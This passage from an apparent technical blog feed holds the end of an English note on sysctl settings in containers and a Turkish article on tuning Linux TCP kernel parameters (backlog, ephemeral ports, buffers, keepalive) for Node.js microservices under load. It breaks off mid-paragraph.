ramp; fixing the leak is your job.</p> <h2 id="pitfalls-in-the-container-world-docker-kubernetes">Pitfalls in the Container World (Docker &amp; Kubernetes)<a class="headerlink" href="#pitfalls-in-the-container-world-docker-kubernetes" title="Permanent link">#</a></h2> <p>If you're using Docker or Kubernetes, you need to pay attention to where <code>sysctl</code> settings reside:</p> <ol> <li><strong>Safe within Containers:</strong> Settings that are part of the network namespace, like <code>tcp_tw_reuse</code> and <code>tcp_rmem</code>, can be changed from within the container.</li> <li><strong>Run Only on the Host:</strong> Settings like <code>somaxconn</code>, <code>rmem_max</code>, <code>wmem_max</code>, and <code>netdev_max_backlog</code> are not part of the network namespace. If you try to set them from within a container, you'll get a permission error, or the setting will have no effect. These must be set directly on the server machine (host).</li> <li><strong>The Cleanest Path for Kubernetes:</strong> In K8s environments, instead of solving these settings at the pod level or with runtime sidecars, embedding them directly at the host level during the node provisioning phase, i.e., via Terraform cloud-init or custom machine images (AMIs), is the cleanest approach.</li> </ol> <p>Incorporate all these settings into your infrastructure automation and bury those silently annoying network issues in the past.</p> <p>Stay well!</p> <hr/> <h3 id="more-notes-from-the-lab">🔗 More Notes from the Lab<a class="headerlink" href="#more-notes-from-the-lab" title="Permanent link">#</a></h3> <p>Here are some other articles that might be useful when tinkering with systems, managing network traffic, and improving performance:</p> <ul> <li><a href="/en/arch-linux-dns-vpn-systemd-resolved-unbound/">DNS Mystery on Arch Linux: VPN, systemd-resolved, and Unbound</a></li> <li><a href="/en/arch-linux-dnsmasq-dnscrypt-proxy/">Guide to Installing dnsmasq and dnscrypt-proxy on Arch Linux</a></li> <li><a href="/en/aws-ec2-openvpn-kurulumu-dns-leak-duzeltilmesi/">How to Install OpenVPN on AWS EC2 and Fix DNS Leaks</a></li> <li><a href="/en/docker-imaj-boyutu-kucultme-rehberi/">Dieting for Bloated Docker Images: A Journey from 1.2 GB to 78 MB</a></li> <li><a href="/en/arch-linux-cpu-performans-ayarlari/">Arch Linux CPU Performance Settings</a></li> </ul> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p>The <code>keepAlive</code> setting on the Node.js side only ensures the application keeps the connection open. If the kernel-level TCP keepalive time is not changed, dead connections will still remain stuck at the operating system level for 2 hours.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> </ol> </div>2026-05-29T04:20:00+03:002026-05-29T04:20:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2026-05-29:/linux-tcp-tuning-node-js-microservices/

<p>Yüksek yük altında Node.js sunucularında yaşanan gizemli bağlantı kopmalarını ve zaman aşımlarını engellemek için yapılması gereken kritik Linux kernel sysctl ayarlarını anlatıyorum.</p>

<p>Kendi local lab&inodot;mda ko&scedil;turdu&gbreve;um mikroservislerin y&uuml;k testlerini yaparken garip bir duruma denk geldim hac&inodot;. Y&uuml;k jenerat&ouml;r&uuml; saniyede 2000 iste&gbreve;i vuruyor, Node.js sunucusunun CPU kullan&inodot;m&inodot; ise %30'u bile ge&ccedil;miyor. Event loop canavar gibi, &ccedil;&ouml;p toplay&inodot;c&inodot; (GC) sessiz sakin, hata logu s&inodot;f&inodot;r. Ama gelin g&ouml;r&uuml;n ki, y&uuml;k testi raporunda %3'l&uuml;k bir ba&gbreve;lant&inodot; zaman a&scedil;&inodot;m&inodot; (connection timeout) g&ouml;r&uuml;n&uuml;yor. &Uuml;stelik di&gbreve;er servislerden de ara s&inodot;ra gelen o me&scedil;hur "socket hang up" hatalar&inodot; can s&inodot;kmaya ba&scedil;lad&inodot;.</p> <p>Uygulama loglar&inodot;na bak&inodot;yorsun, yaprak k&inodot;p&inodot;rdam&inodot;yor. Metrik ekranlar&inodot; yemye&scedil;il. &Idot;nsan kendini bir hayaletle sava&scedil;&inodot;yor gibi hissediyor. Ta ki sunucuda <code>ss -s</code> komutunu &ccedil;al&inodot;&scedil;t&inodot;r&inodot;p <code>TIME_WAIT</code> durumunda bekleyen k&inodot;rk bin adet soket g&ouml;rene ya da <code>dmesg</code> loglar&inodot;nda <code>TCP: request_sock_TCP: Possible SYN flooding on port 3000</code> uyar&inodot;s&inodot;n&inodot; yakalayana kadar... &Ccedil;ekirdek (kernel) sizin trafi&gbreve;inizle gizli bir sava&scedil;a girmi&scedil; ve maalesef kazanm&inodot;&scedil;.</p> <p>Bu tarz hatalar&inodot; uygulama seviyesinde profil &ccedil;&inodot;kararak (profiling) asla g&ouml;remezsiniz. &Ccedil;&uuml;nk&uuml; Linux &ccedil;ekirde&gbreve;i, varsay&inodot;lan olarak h&acirc;l&acirc; 2005 y&inodot;l&inodot;ndaki bir masa&uuml;st&uuml; bilgisayara g&ouml;re yap&inodot;land&inodot;r&inodot;lm&inodot;&scedil; ayarlarla geliyor. Oysa biz 2026 y&inodot;l&inodot;nda, bir y&uuml;k dengeleyici (load balancer) arkas&inodot;nda ko&scedil;an Node.js konteynerlerinden bahsediyoruz. Bu yaz&inodot;da, bu gizli t&inodot;kan&inodot;kl&inodot;&gbreve;&inodot; a&scedil;mak i&ccedil;in el at&inodot;lmas&inodot; gereken 4 temel sysctl ailesini ve &ccedil;o&gbreve;u ekibin atlad&inodot;&gbreve;&inodot; o kritik Node.js ayar&inodot;n&inodot; masaya yat&inodot;r&inodot;yoruz.</p> <h2 id="1-baglant-kuyruklar-syn-backlog-ve-accept-queue">1. Ba&gbreve;lant&inodot; Kuyruklar&inodot;: SYN Backlog ve Accept Queue<a class="headerlink" href="#1-baglant-kuyruklar-syn-backlog-ve-accept-queue" title="Permanent link">#</a></h2> <p>Bir istemci Node.js sunucunuza TCP ba&gbreve;lant&inodot;s&inodot; a&ccedil;t&inodot;&gbreve;&inodot;nda, uygulama seviyesindeki <code>server.on('connection', ...)</code> olay&inodot; tetiklenmeden &ouml;nce &ccedil;ekirdekte &uuml;&ccedil; a&scedil;amal&inodot; bir el s&inodot;k&inodot;&scedil;ma ger&ccedil;ekle&scedil;ir:</p> <ol> <li>&Idot;stemci bir <code>SYN</code> paketi g&ouml;nderir.</li> <li>&Ccedil;ekirdek, SYN backlog kuyru&gbreve;unda yer ay&inodot;r&inodot;r, <code>SYN-ACK</code> ile yan&inodot;t d&ouml;ner ve istemciden gelecek son <code>ACK</code> paketini bekler.</li> <li>El s&inodot;k&inodot;&scedil;ma tamamland&inodot;&gbreve;&inodot;nda soket <code>accept</code> kuyru&gbreve;una (accept queue) ta&scedil;&inodot;n&inodot;r. Node.js, event loop'un bir sonraki d&ouml;ng&uuml;s&uuml;nde <code>accept()</code> &ccedil;a&gbreve;r&inodot;s&inodot;n&inodot; yapar ve ba&gbreve;lant&inodot; event'ini tetirler.</li> </ol> <p>E&gbreve;er bu kuyruklardan biri dolarsa, &ccedil;ekirdek gelen paketleri bodoslama &ccedil;&ouml;pe atar. &Idot;stemci zaman a&scedil;&inodot;m&inodot;na u&gbreve;ray&inodot;p tekrar dener. Uygulaman&inodot;z ise ba&gbreve;lant&inodot; sunucuya hi&ccedil; ula&scedil;mad&inodot;&gbreve;&inodot; i&ccedil;in hi&ccedil;bir hata loglayamaz. Bu durum d&inodot;&scedil;ar&inodot;dan bak&inodot;ld&inodot;&gbreve;&inodot;nda istikrars&inodot;z bir a&gbreve; sorunu gibi g&ouml;r&uuml;n&uuml;r ama asl&inodot;nda &ccedil;ekirde&gbreve;in kapasite limitidir.</p> <p>Varsay&inodot;lan olarak Linux da&gbreve;&inodot;t&inodot;mlar&inodot;nda <code>net.core.somaxconn</code> de&gbreve;eri 128 veya 4096'd&inodot;r. Kula&gbreve;a b&uuml;y&uuml;k gelebilir ama y&uuml;k dengeleyici arkas&inodot;ndaki konteynerler yeniden ba&scedil;lad&inodot;&gbreve;&inodot;nda veya bir "connection storm" (ba&gbreve;lant&inodot; f&inodot;rt&inodot;nas&inodot;) ya&scedil;and&inodot;&gbreve;&inodot;nda bu kuyruklar saniyeler i&ccedil;inde patlar.</p> <h3 id="cekirdegi-ikna-etmek-ve-nodejsteki-o-gizli-parametre">&Ccedil;ekirde&gbreve;i &Idot;kna Etmek ve Node.js'teki O Gizli Parametre<a class="headerlink" href="#cekirdegi-ikna-etmek-ve-nodejsteki-o-gizli-parametre" title="Permanent link">#</a></h3> <p>&Idot;nce ayar&inodot;m&inodot;z&inodot; &ccedil;ekelim:</p> <div class="highlight"><pre><span></span><code><span class="na">net.core.somaxconn</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">65535</span> <span class="na">net.ipv4.tcp_max_syn_backlog</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">65535</span> </code></pre></div> <p>Ancak &ccedil;ekirdek seviyesinde bu ayar&inodot; de&gbreve;i&scedil;tirmek sava&scedil;&inodot; tek ba&scedil;&inodot;na kazand&inodot;rmaz hac&inodot;. Node.js, HTTP sunucusunu aya&gbreve;a kald&inodot;r&inodot;rken varsay&inodot;lan olarak <code>511</code> s&inodot;n&inodot;r&inodot;yla (backlog) dinleme yapar. E&gbreve;er sunucuyu ba&scedil;lat&inodot;rken <code>listen</code> fonksiyonuna bu backlog s&inodot;n&inodot;r&inodot;n&inodot; vermezseniz, &ccedil;ekirde&gbreve;in kuyruk limitini 65535 yapsan&inodot;z bile Node.js yine 511 s&inodot;n&inodot;r&inodot;na tak&inodot;l&inodot;r!</p> <div class="highlight"><pre><span></span><code><span class="k">import</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nx">createServer</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="kr">from</span><span class="w"> </span><span class="s1">'node:http'</span><span class="p">;</span> <span class="kd">const</span><span class="w"> </span><span class="nx">server</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">createServer</span><span class="p">((</span><span class="nx">req</span><span class="p">,</span><span class="w"> </span><span class="nx">res</span><span class="p">)</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="nx">res</span><span class="p">.</span><span class="nx">end</span><span class="p">(</span><span class="s1">'ok'</span><span class="p">);</span> <span class="p">});</span> <span class="c1">// backlog de&gbreve;erini &ccedil;ekirdek ayar&inodot;m&inodot;zla e&scedil;itleyip 65535 yap&inodot;yoruz</span> <span class="nx">server</span><span class="p">.</span><span class="nx">listen</span><span class="p">(</span><span class="mf">3000</span><span class="p">,</span><span class="w"> </span><span class="s1">'0.0.0.0'</span><span class="p">,</span><span class="w"> </span><span class="mf">65535</span><span class="p">,</span><span class="w"> </span><span class="p">()</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s1">'backlog 65535 ile dinleniyor...'</span><span class="p">);</span> <span class="p">});</span> </code></pre></div> <p>Ayar&inodot;n tutup tutmad&inodot;&gbreve;&inodot;n&inodot; canl&inodot;da g&ouml;rmek i&ccedil;in &scedil;u komutu &ccedil;al&inodot;&scedil;t&inodot;rabilirsiniz:</p> <div class="highlight"><pre><span></span><code>yuceltoluyag@archlinux:~$<span class="w"> </span>ss<span class="w"> </span>-lnt<span class="w"> </span><span class="p">|</span><span class="w"> </span>grep<span class="w"> </span><span class="m">3000</span> </code></pre></div> <p>E&gbreve;er <code>Send-Q</code> (kuyruk kapasitesi) s&uuml;tunu h&acirc;l&acirc; <code>511</code> g&ouml;steriyorsa, ya Node.js uygulamas&inodot;n&inodot; yeniden ba&scedil;latmay&inodot; unuttunuz ya da koddaki <code>listen</code> &ccedil;a&gbreve;r&inodot;s&inodot;na bu de&gbreve;eri vermediniz demektir.</p> <h2 id="2-istemci-tarafnda-port-tukenmesi-ephemeral-port-exhaustion_1">2. &Idot;stemci Taraf&inodot;nda Port T&uuml;kenmesi (Ephemeral Port Exhaustion)<a class="headerlink" href="#2-istemci-tarafnda-port-tukenmesi-ephemeral-port-exhaustion" title="Permanent link">#</a></h2> <p>Bizim Node.js servisimiz sadece istek kar&scedil;&inodot;lam&inodot;yor; yeri geliyor veri taban&inodot;na ba&gbreve;lan&inodot;yor, yeri geliyor di&gbreve;er mikroservislere veya d&inodot;&scedil; API'lere istek at&inodot;yor. Her d&inodot;&scedil; TCP ba&gbreve;lant&inodot;s&inodot;, varsay&inodot;lan olarak <code>32768-60999</code> aral&inodot;&gbreve;&inodot;ndan (yani yakla&scedil;&inodot;k 28.000 porttan) ge&ccedil;ici bir port (ephemeral port) rezerve eder.</p> <p>&Ouml;zellikle k&inodot;sa &ouml;m&uuml;rl&uuml; (short-lived) isteklerin tavan yapt&inodot;&gbreve;&inodot; yo&gbreve;un anlarda, ba&gbreve;lant&inodot; kapansa bile portlar 2 dakika boyunca (<code>tcp_fin_timeout</code> s&uuml;resince) <code>TIME_WAIT</code> durumunda as&inodot;l&inodot; kal&inodot;r. Port havuzu t&uuml;kendi&gbreve;inde, uygulaman&inodot;z d&inodot;&scedil;ar&inodot;ya istek atamaz ve terminale <code>EADDRNOTAVAIL</code> hatas&inodot; d&uuml;&scedil;er. Kar&scedil;&inodot; servis &ccedil;&ouml;km&uuml;&scedil; gibi g&ouml;r&uuml;n&uuml;r ama asl&inodot;nda kendi &ccedil;ekirde&gbreve;iniz nefessiz kalm&inodot;&scedil;t&inodot;r.</p> <p>Bunu a&scedil;mak i&ccedil;in port aral&inodot;&gbreve;&inodot;n&inodot; geni&scedil;letip portlar&inodot;n g&uuml;venli &scedil;ekilde yeniden kullan&inodot;m&inodot;n&inodot; aktif ediyoruz:</p> <div class="highlight"><pre><span></span><code><span class="na">net.ipv4.ip_local_port_range</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">1024 65535</span> <span class="na">net.ipv4.tcp_tw_reuse</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">1</span> </code></pre></div> <p><code>tcp_tw_reuse</code> sayesinde &ccedil;ekirdek, zaman damgalar&inodot;n&inodot; kullanarak <code>TIME_WAIT</code> durumundaki soketleri g&uuml;venli bir &scedil;ekilde yeni giden ba&gbreve;lant&inodot;lar i&ccedil;in tekrar kullanabilir.</p> <div class="admonition danger"> <p class="admonition-title">Kritik Uyar&inodot;: tcp_tw_recycle Ayar&inodot;na Dokunmay&inodot;n!</p> <p>&Idot;nternetteki 10 y&inodot;ll&inodot;k eski blog yaz&inodot;lar&inodot;na aldan&inodot;p sak&inodot;n <code>tcp_tw_recycle</code> parametresini a&ccedil;may&inodot;n hac&inodot;. Bu ayar NAT (Network Address Translation) arkas&inodot;ndan gelen istemcilerde ba&gbreve;lant&inodot;lar&inodot;n rastgele d&uuml;&scedil;mesine neden oldu&gbreve;u i&ccedil;in Linux 4.12 s&uuml;r&uuml;m&uuml;nde &ccedil;ekirdekten tamamen s&ouml;k&uuml;l&uuml;p at&inodot;ld&inodot;.</p> </div> <p>Port durumunu anl&inodot;k izlemek i&ccedil;in &scedil;u tek sat&inodot;rl&inodot;k komutu kullanabilirsiniz:</p> <div class="highlight"><pre><span></span><code>yuceltoluyag@archlinux:~$<span class="w"> </span>ss<span class="w"> </span>-tan<span class="w"> </span><span class="p">|</span><span class="w"> </span>awk<span class="w"> </span><span class="s1">'{print $4}'</span><span class="w"> </span><span class="p">|</span><span class="w"> </span>cut<span class="w"> </span>-d:<span class="w"> </span>-f2<span class="w"> </span><span class="p">|</span><span class="w"> </span>sort<span class="w"> </span><span class="p">|</span><span class="w"> </span>uniq<span class="w"> </span>-c<span class="w"> </span><span class="p">|</span><span class="w"> </span>sort<span class="w"> </span>-rn<span class="w"> </span><span class="p">|</span><span class="w"> </span>head </code></pre></div> <h2 id="3-daha-yuksek-veri-aks-icin-bellek-tamponlar-tcp-buffers">3. Daha Y&uuml;ksek Veri Ak&inodot;&scedil;&inodot; &Idot;&ccedil;in Bellek Tamponlar&inodot; (TCP Buffers)<a class="headerlink" href="#3-daha-yuksek-veri-aks-icin-bellek-tamponlar-tcp-buffers" title="Permanent link">#</a></h2> <p>Node.js &uuml;zerindeki ak&inodot;&scedil;lar&inodot;n (streams) y&uuml;ksek bant geni&scedil;li&gbreve;inde t&inodot;kanmadan &ccedil;al&inodot;&scedil;abilmesi i&ccedil;in &ccedil;ekirde&gbreve;in bellek tamponlar&inodot;nda yeterli alan olmal&inodot;d&inodot;r. E&gbreve;er <code>rmem_max</code> ve <code>wmem_max</code> de&gbreve;erleri d&uuml;&scedil;&uuml;k kal&inodot;rsa, &ccedil;ekirdek daha k&uuml;&ccedil;&uuml;k bir TCP penceresi (TCP window) anons eder ve y&uuml;ksek h&inodot;zl&inodot; ba&gbreve;lant&inodot;lar bile hak etti&gbreve;i performans&inodot; veremez. Konteyner ortamlar&inodot;ndaki sanal a&gbreve; k&ouml;pr&uuml;leri (veth bridge) bu duruma ekstra y&uuml;k bindirir.</p> <div class="highlight"><pre><span></span><code><span class="na">net.core.rmem_max</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">16777216</span> <span class="na">net.core.wmem_max</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">16777216</span> <span class="na">net.ipv4.tcp_rmem</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">4096 87380 16777216</span> <span class="na">net.ipv4.tcp_wmem</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">4096 65536 16777216</span> <span class="na">net.core.netdev_max_backlog</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">65535</span> </code></pre></div> <p>Buradaki &uuml;&ccedil;l&uuml; de&gbreve;erler s&inodot;ras&inodot;yla minimum, varsay&inodot;lan ve maksimum tampon boyutlar&inodot;n&inodot; (byte cinsinden) belirler. &Ccedil;ekirdek, a&gbreve; gecikmesine ve veri ak&inodot;&scedil;&inodot;na g&ouml;re tamponu dinamik olarak &ouml;l&ccedil;eklendirir. 16 MiB'l&inodot;k tavan s&inodot;n&inodot;r&inodot;, bo&scedil;ta bekleyen ba&gbreve;lant&inodot;lar&inodot;n belle&gbreve;i s&ouml;m&uuml;rmesini engellerken yo&gbreve;un veri ak&inodot;&scedil;&inodot;nda can simidi olur.</p> <p><code>netdev_max_backlog</code> ise a&gbreve; kart&inodot; (NIC) seviyesindeki paket kuyru&gbreve;unu kontrol eder. E&gbreve;er a&gbreve; kart&inodot;na gelen paketler &ccedil;ekirde&gbreve;in bunlar&inodot; kullan&inodot;c&inodot; alan&inodot;na (userspace) teslim etme h&inodot;z&inodot;ndan daha h&inodot;zl&inodot; y&inodot;&gbreve;&inodot;l&inodot;yorsa, paketler do&gbreve;rudan a&gbreve; kart&inodot;nda &ccedil;&ouml;pe gider. Bunu <code>ethtool -S eth0 | grep rx_missed_errors</code> veya <code>ifconfig</code> &ccedil;&inodot;kt&inodot;s&inodot;ndaki RX errors alan&inodot;ndan takip edebilirsiniz.</p> <h2 id="4-atl-soketlerin-hzlca-temizlenmesi-tcp-keepalive">4. At&inodot;l Soketlerin H&inodot;zl&inodot;ca Temizlenmesi (TCP Keepalive)<a class="headerlink" href="#4-atl-soketlerin-hzlca-temizlenmesi-tcp-keepalive" title="Permanent link">#</a></h2> <p>Rolling update (kesintisiz g&uuml;ncelleme) esnas&inodot;nda veya NAT a&gbreve; ge&ccedil;idindeki kesintilerde, istemci veya sunucu taraflar&inodot; ba&gbreve;lant&inodot;n&inodot;n koptu&gbreve;unu anlayamayabilir. Bu durumda soketler "yar&inodot; a&ccedil;&inodot;k" (half-open) &scedil;ekilde as&inodot;l&inodot; kal&inodot;r. Linux'un varsay&inodot;lan Keepalive s&uuml;resi tam 2 saattir hac&inodot;. &Ouml;l&uuml; bir soketin 2 saat boyunca ba&gbreve;lant&inodot; havuzunuzu me&scedil;gul etmesi sunucu kaynaklar&inodot;n&inodot;n bo&scedil; yere t&uuml;kenmesi demektir.</p> <p>S&uuml;reyi daha insani s&inodot;n&inodot;rlara &ccedil;ekiyoruz:</p> <div class="highlight"><pre><span></span><code><span class="na">net.ipv4.tcp_keepalive_time</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">60</span> <span class="na">net.ipv4.tcp_keepalive_intvl</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">10</span> <span class="na">net.ipv4.tcp_keepalive_probes</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">6</span> </code></pre></div> <p>Bu ayarla birlikte, 60 saniye boyunca hi&ccedil; veri ge&ccedil;meyen sokete 10 saniye aral&inodot;klarla 6 kez kontrol paketi (probe) g&ouml;nderilir. E&gbreve;er kar&scedil;&inodot; taraftan ses &ccedil;&inodot;kmazsa, yakla&scedil;&inodot;k 2 dakika i&ccedil;inde ba&gbreve;lant&inodot;n&inodot;n &ouml;ld&uuml;&gbreve;&uuml; anla&scedil;&inodot;l&inodot;r ve havuzdan temizlenir. Tabii bu ayar&inodot;n &ccedil;al&inodot;&scedil;mas&inodot; i&ccedil;in Node.js taraf&inodot;nda da HTTP Agent kullan&inodot;rken <code>keepAlive: true</code> ayar&inodot;n&inodot;n a&ccedil;&inodot;k olmas&inodot; gerekir<sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup>.</p> <h2 id="hangi-limana-carptgn-teshis-etmek-hzl-kontrol-listesi">Hangi Limana &Ccedil;arpt&inodot;&gbreve;&inodot;n&inodot; Te&scedil;his Etmek (H&inodot;zl&inodot; Kontrol Listesi)<a class="headerlink" href="#hangi-limana-carptgn-teshis-etmek-hzl-kontrol-listesi" title="Permanent link">#</a></h2> <p>Ya&scedil;ad&inodot;&gbreve;&inodot;n&inodot;z a&gbreve; sorununun hangi &ccedil;ekirdek limitine &ccedil;arpt&inodot;&gbreve;&inodot;n&inodot; anlamak i&ccedil;in haz&inodot;rlad&inodot;&gbreve;&inodot;m &scedil;u haritaya g&ouml;z atabilirsiniz:</p> <ul> <li><strong>Belirti:</strong> Y&uuml;ksek y&uuml;k alt&inodot;nda CPU sakin ama ba&gbreve;lant&inodot;lar zaman a&scedil;&inodot;m&inodot;na (timeout) u&gbreve;ruyor.</li> <li><strong>Olas&inodot; Limit:</strong> <code>somaxconn</code> veya Node.js taraf&inodot;ndaki listen backlog s&inodot;n&inodot;r&inodot;.</li> <li><strong>Te&scedil;his Komutu:</strong> <code>ss -lnt</code> ile <code>Send-Q</code> ve <code>Recv-Q</code> de&gbreve;erlerini kar&scedil;&inodot;la&scedil;t&inodot;r&inodot;n.</li> <li><strong>Belirti:</strong> <code>dmesg</code> loglar&inodot;nda <code>SYN flooding</code> uyar&inodot;s&inodot; &ccedil;&inodot;k&inodot;yor.</li> <li><strong>Olas&inodot; Limit:</strong> <code>tcp_max_syn_backlog</code> kuyru&gbreve;u dolmu&scedil;.</li> <li><strong>Te&scedil;his Komutu:</strong> <code>dmesg | grep SYN</code></li> <li><strong>Belirti:</strong> D&inodot;&scedil; servislere at&inodot;lan isteklerde <code>EADDRNOTAVAIL</code> hatas&inodot;.</li> <li><strong>Olas&inodot; Limit:</strong> Ephemeral (ge&ccedil;ici) port t&uuml;kenmesi.</li> <li><strong>Te&scedil;his Komutu:</strong> <code>ss -tan | grep TIME_WAIT | wc -l</code> de&gbreve;erini local port aral&inodot;&gbreve;&inodot;yla kar&scedil;&inodot;la&scedil;t&inodot;r&inodot;n.</li> <li><strong>Belirti:</strong> Y&uuml;ksek h&inodot;zl&inodot; hatlarda bant geni&scedil;li&gbreve;i 1 Gbps baraj&inodot;n&inodot; a&scedil;am&inodot;yor.</li> <li><strong>Olas&inodot; Limit:</strong> TCP bellek tamponlar&inodot; (buffer) yetersiz.</li> <li><strong>Te&scedil;his Komutu:</strong> <code>cat /proc/sys/net/core/rmem_max</code></li> <li><strong>Belirti:</strong> Ani trafik dalgalanmalar&inodot;nda d&uuml;zensiz gecikme (latency) s&inodot;&ccedil;ramalar&inodot;.</li> <li><strong>Olas&inodot; Limit:</strong> A&gbreve; kart&inodot; kuyruk limiti (<code>netdev_max_backlog</code>).</li> <li><strong>Te&scedil;his Komutu:</strong> <code>ethtool -S eth0 | grep rx_missed_errors</code> veya <code>ifconfig</code> &ccedil;&inodot;kt&inodot;s&inodot;ndaki <code>RX errors</code> alan&inodot;na bak&inodot;n.</li> <li><strong>Belirti:</strong> Kar&scedil;&inodot; servis &ccedil;&ouml;kt&uuml;kten sonra ba&gbreve;lant&inodot; havuzundaki &ouml;l&uuml; soketler dakikalarca temizlenmiyor.</li> <li><strong>Olas&inodot; Limit:</strong> Keepalive s&uuml;releri &ccedil;ok yava&scedil;.</li> <li><strong>Te&scedil;his Komutu:</strong> <code>cat /proc/sys/net/ipv4/tcp_keepalive_time</code></li> </ul> <h2 id="tum-ayarlar-tek-dosyada-toplamak">T&uuml;m Ayarlar&inodot; Tek Dosyada Toplamak<a class="headerlink" href="#tum-ayarlar-tek-dosyada-toplamak" title="Permanent link">#</a></h2> <p>A&scedil;a&gbreve;&inodot;daki yap&inodot;land&inodot;rmay&inodot; Ansible, Terraform veya do&gbreve;rudan manuel olarak sunucular&inodot;n&inodot;za da&gbreve;&inodot;tabilirsiniz. G&uuml;venli s&inodot;n&inodot;rlarda kal&inodot;nm&inodot;&scedil;, TCP standartlar&inodot;n&inodot; bozmayan temiz bir settir:</p> <div class="highlight"><pre><span></span><code><span class="c1"># /etc/sysctl.d/99-nodejs-microservices.conf</span> <span class="c1"># Gelen ba&gbreve;lant&inodot; kapasitesi</span> <span class="na">net.core.somaxconn</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">65535</span> <span class="na">net.ipv4.tcp_max_syn_backlog</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">65535</span> <span class="c1"># Giden ba&gbreve;lant&inodot; kapasitesi ve port y&ouml;netimi</span> <span class="na">net.ipv4.ip_local_port_range</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">1024 65535</span> <span class="na">net.ipv4.tcp_tw_reuse</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">1</span> <span class="na">net.ipv4.tcp_fin_timeout</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">30</span> <span class="c1"># Veri ak&inodot;&scedil;&inodot; i&ccedil;in bellek tamponlar&inodot; (Byte cinsinden)</span> <span class="na">net.core.rmem_max</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">16777216</span> <span class="na">net.core.wmem_max</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">16777216</span> <span class="na">net.ipv4.tcp_rmem</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">4096 87380 16777216</span> <span class="na">net.ipv4.tcp_wmem</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">4096 65536 16777216</span> <span class="na">net.core.netdev_max_backlog</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">65535</span> <span class="c1"># &Ouml;l&uuml; ba&gbreve;lant&inodot;lerin h&inodot;zl&inodot;ca elenmesi</span> <span class="na">net.ipv4.tcp_keepalive_time</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">60</span> <span class="na">net.ipv4.tcp_keepalive_intvl</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">10</span> <span class="na">net.ipv4.tcp_keepalive_probes</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">6</span> <span class="c1"># TCP y&inodot;&gbreve;&inodot;n&inodot; i&ccedil;in bellek g&uuml;venlik s&inodot;n&inodot;r&inodot; (Sayfa say&inodot;s&inodot; cinsinden, byte de&gbreve;il!)</span> <span class="na">net.ipv4.tcp_mem</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">786432 1048576 26777216</span> </code></pre></div> <p>Bu ayarlar&inodot; sunucuya uygulamak i&ccedil;in:</p> <div class="highlight"><pre><span></span><code>yuceltoluyag@archlinux:~$<span class="w"> </span>sudo<span class="w"> </span>sysctl<span class="w"> </span>--system </code></pre></div> <div class="admonition warning"> <p class="admonition-title">Dikkat! tcp_mem Parametresi Tehlikelidir</p> <p><code>tcp_mem</code> sat&inodot;r&inodot;, &ccedil;ekirde&gbreve;in TCP soketleri i&ccedil;in ay&inodot;rabilece&gbreve;i toplam bellek miktar&inodot;n&inodot; kontrol eder. Buradaki de&gbreve;erler byte de&gbreve;il, <strong>bellek sayfas&inodot; (page)</strong> cinsindendir (genelde x86_64 mimarisinde sayfa ba&scedil;&inodot;na 4 KiB). E&gbreve;er bu s&inodot;n&inodot;r&inodot; sunucunuzun toplam RAM kapasitesine g&ouml;re &ccedil;ok d&uuml;&scedil;&uuml;k ayarlarsan&inodot;z, &ccedil;ekirdek paketleri bodoslama &ccedil;&ouml;pe atmaya ba&scedil;lar. Yukar&inodot;daki de&gbreve;erleri ba&scedil;lang&inodot;&ccedil; noktas&inodot; olarak al&inodot;p, y&uuml;k alt&inodot;nda <code>free</code> ve <code>slabtop</code> &ccedil;&inodot;kt&inodot;lar&inodot;na g&ouml;re ayarlayabilirsiniz.</p> </div> <h2 id="altyap-ayarlar-kotu-kodu-kurtarmaz">Altyap&inodot; Ayarlar&inodot; K&ouml;t&uuml; Kodu Kurtarmaz<a class="headerlink" href="#altyap-ayarlar-kotu-kodu-kurtarmaz" title="Permanent link">#</a></h2> <p>&Ccedil;ekirde&gbreve;e ince ayar &ccedil;ekmek sunucuya nefes ald&inodot;r&inodot;r ama k&ouml;t&uuml; yaz&inodot;lm&inodot;&scedil; kodu kurtarmaz hac&inodot;. E&gbreve;er sizin Node.js uygulaman&inodot;zdaki event loop, senkron bir <code>JSON.parse</code> veya a&gbreve;&inodot;r bir d&ouml;ng&uuml; y&uuml;z&uuml;nden 200 ms boyunca kilitleniyorsa, <code>somaxconn</code> limitini bir milyona da &ccedil;&inodot;karsan&inodot;z o kuyruk eninde sonunda patlar. 